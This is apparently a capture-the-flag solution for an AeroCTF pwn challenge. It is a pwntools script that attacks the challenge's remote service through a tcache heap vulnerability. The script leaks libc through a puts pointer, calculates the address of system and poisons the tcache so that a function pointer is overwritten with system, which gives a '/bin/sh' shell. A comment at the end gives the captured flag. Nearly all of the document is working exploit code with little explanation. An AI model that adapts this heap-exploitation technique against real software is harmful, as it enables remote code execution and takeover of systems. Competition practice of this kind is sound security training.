Tags: tcache heap
Rating:
```python
from pwn import *
r = remote("tasks.aeroctf.com",33039)
def add(s):
r.sendlineafter("> ","1")
r.sendafter("password: ",s)
def view(id):
r.sendlineafter("> ","2")
r.sendlineafter("id: ",str(id))
def delete(id):
r.sendlineafter("> ","4")
r.sendlineafter("id: ",str(id))
def delall():
r.sendlineafter("> ","5")
r.sendafter("name: ","/bin/sh\x00")
r.sendafter("secret: ",p64(0x404020))
for _ in range(16):
print("add"+str(_))
add("a")
view(16)
r.recvuntil("Value: ")
res = r.recvline()[:-1]
#print(res)
#print(len(res))
puts = u64(res.ljust(8,'\x00'))
#print(hex(puts))
libc = puts-0x73f30
system = libc+0x46ed0
print(hex(libc))
print(hex(system))
for i in range(16):
print("del"+str(15-i))
delete(15-i)
#delall()
#add("a")
#add("magic")
for _ in range(15):
print("add"+str(_))
add("a")
#r.interactive()
for i in range(7):
print("del"+str(i))
delete(i)
add("magic")
#r.sendlineafter("> ","3")
#print(r.recvall())
#r.interactive()
delete(9)
delete(8)
delete(7)
delete(-1)
for _ in range(7):
print("add"+str(_))
add("a")
add(p64(0x404100))
add("magic")
#r.interactive()
add(p64(system))
add(p64(system))
r.interactive()
#Aero{a9b57185b3799a0bb4c0bdd01156ae2d5eeea046513a4faf1d51e114df91679e}
```